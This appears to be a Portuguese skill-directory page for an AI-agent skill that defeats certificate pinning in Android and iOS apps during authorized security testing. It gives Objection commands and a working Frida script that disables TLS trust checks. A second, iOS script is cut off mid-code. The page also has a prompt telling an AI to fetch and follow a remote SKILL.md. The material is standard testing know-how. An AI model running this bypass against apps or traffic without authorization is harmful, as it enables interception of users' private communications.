Pular para o conteúdo
Skillpedia
Código em geral35 mil · #6103

performing-mobile-app-certificate-pinning-bypass

Ajuda seu agente a contornar proteções de segurança em aplicativos de celular. Permite ver o tráfego de dados em testes de segurança autorizados.

O que ela faz

Esta ferramenta ajuda a contornar uma medida de segurança chamada 'certificate pinning' em aplicativos de celular (Android e iOS). Isso permite que você veja o tráfego de rede do aplicativo durante testes de segurança autorizados.

Quando usar

  • ✓Quando um aplicativo de celular bloqueia a conexão com um proxy.
  • ✓Ao testar a segurança de um aplicativo com autorização.
  • ✓Para verificar como o aplicativo protege suas conexões.

Exemplo do que pedir para a IA

“Como posso ver o tráfego de rede de um aplicativo de celular que está bloqueando minha conexão?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa outras ferramentas como Frida e Objection para desativar temporariamente a verificação de certificados do aplicativo. Isso permite que um programa como o Burp Suite intercepte e analise a comunicação.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-mobile-app-certificate-pinning-bypass

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Bypass de Certificate Pinning em Aplicativos Mobile

Quando Usar

Use esta habilidade quando:

  • O aplicativo mobile recusa conexões através de um proxy devido ao certificate pinning.
  • Realizando testes de segurança autorizados que exigem a interceptação de tráfego HTTPS.
  • Avaliando a força e a dificuldade de bypass das implementações de pinning.
  • Avaliando a defesa em profundidade da segurança de rede de aplicativos mobile.

Não use para contornar o pinning em aplicativos sem autorização explícita para testes.

Pré-requisitos

  • Burp Suite configurado como proxy com listener em todas as interfaces.
  • Dispositivo Android com root ou dispositivo iOS com jailbreak.
  • Servidor Frida em execução no dispositivo alvo.
  • Objection instalado (pip install objection)
  • Aplicativo alvo instalado e reproduzindo o comportamento de pinning.

Fluxo de Trabalho

Passo 1: Identificar a Implementação de Pinning

Métodos de pinning do Android para identificar:

1. Network Security Config (res/xml/network_security_config.xml)
   <pin-set> with certificate hash pins

2. OkHttp CertificatePinner
   CertificatePinner.Builder().add("api.target.com", "sha256/...")

3. Custom TrustManager
   X509TrustManager overrides in code

4. Third-party libraries
   - TrustKit
   - Certificate Transparency checks

Métodos de pinning do iOS:

1. NSURLSession delegate (URLSession:didReceiveChallenge:)
2. ATS (App Transport Security) with custom trust evaluation
3. TrustKit framework
4. Alamofire ServerTrustPolicy
5. Custom SecTrust evaluation

Passo 2: Bypass com Objection (Abordagem Mais Rápida)

# Android
objection --gadget com.target.app explore
android sslpinning disable

# iOS
objection --gadget com.target.app explore
ios sslpinning disable

O Objection intercepta implementações comuns de pinning, incluindo OkHttp CertificatePinner, TrustManagerImpl, métodos de delegate do NSURLSession e avaliação do SecTrust.

Passo 3: Bypass com Scripts Frida Personalizados

Android - Bypass Universal de SSL Pinning:

// android_ssl_bypass.js
Java.perform(function() {
    // Bypass TrustManagerImpl
    var TrustManagerImpl = Java.use("com.android.org.conscrypt.TrustManagerImpl");
    TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain,
        host, clientAuth, ocspData, tlsSctData) {
        console.log("[+] Bypassing TrustManagerImpl for: " + host);
        return untrustedChain;
    };

    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use("okhttp3.CertificatePinner");
        CertificatePinner.check.overload("java.lang.String", "java.util.List").implementation =
            function(hostname, peerCertificates) {
                console.log("[+] Bypassing OkHttp3 pinning for: " + hostname);
                return;
            };
    } catch(e) {}

    // Bypass custom X509TrustManager
    var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
    var TrustManager = Java.registerClass({
        name: "com.bypass.TrustManager",
        implements: [X509TrustManager],
        methods: {
            checkClientTrusted: function(chain, authType) {},
            checkServerTrusted: function(chain, authType) {},
            getAcceptedIssuers: function() { return []; }
        }
    });

    // Bypass SSLContext
    var SSLContext = Java.use("javax.net.ssl.SSLContext");
    SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;",
        "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation =
        function(km, tm, sr) {
            console.log("[+] Replacing TrustManagers in SSLContext.init");
            this.init(km, [TrustManager.$new()], sr);
        };

    // Bypass NetworkSecurityConfig (Android 7+)
    try {
        var NetworkSecurityConfig = Java.use(
            "android.security.net.config.NetworkSecurityConfig");
        NetworkSecurityConfig.isCleartextTrafficPermitted.implementation = function() {
            return true;
        };
    } catch(e) {}

    console.log("[*] SSL pinning bypass loaded");
});
frida -U -f com.target.app -l android_ssl_bypass.js --no-pause

iOS - Bypass Universal de SSL Pinning:

// ios_ssl_bypass.js
if (ObjC.available) {
    // Bypass do delegate do NSURLSession
    var resolver = new ApiResolver("objc");
    resolver.enumerateMatches(
        "-[* URLSession: didReceiveChallenge:completionHandler:]", {
        onMatch: function(match) {
            Interceptor.attach(match.address, {
                onEnter: function(args) {

…
Perguntas frequentes

O que é 'certificate pinning'?

É uma medida de segurança que faz o aplicativo verificar se o certificado do servidor é o esperado, impedindo que proxies interceptem a comunicação.

Preciso de um celular com acesso especial?

Sim, geralmente é necessário um celular Android com 'root' ou um iPhone com 'jailbreak', além de ter o servidor Frida instalado.

Posso usar isso em qualquer aplicativo?

Não, você só deve usar esta ferramenta em aplicativos que você tem permissão explícita para testar.

Detalhes

Descrição original do autor

Bypasses SSL/TLS certificate pinning implementations in Android and iOS applications to enable traffic interception during authorized security assessments. Covers OkHttp, TrustManager, NSURLSession, and third-party pinning library bypass techniques using Frida, Objection, and custom scripts. Activates for requests involving certificate pinning bypass, SSL pinning defeat, mobile TLS interception, o

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6103
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas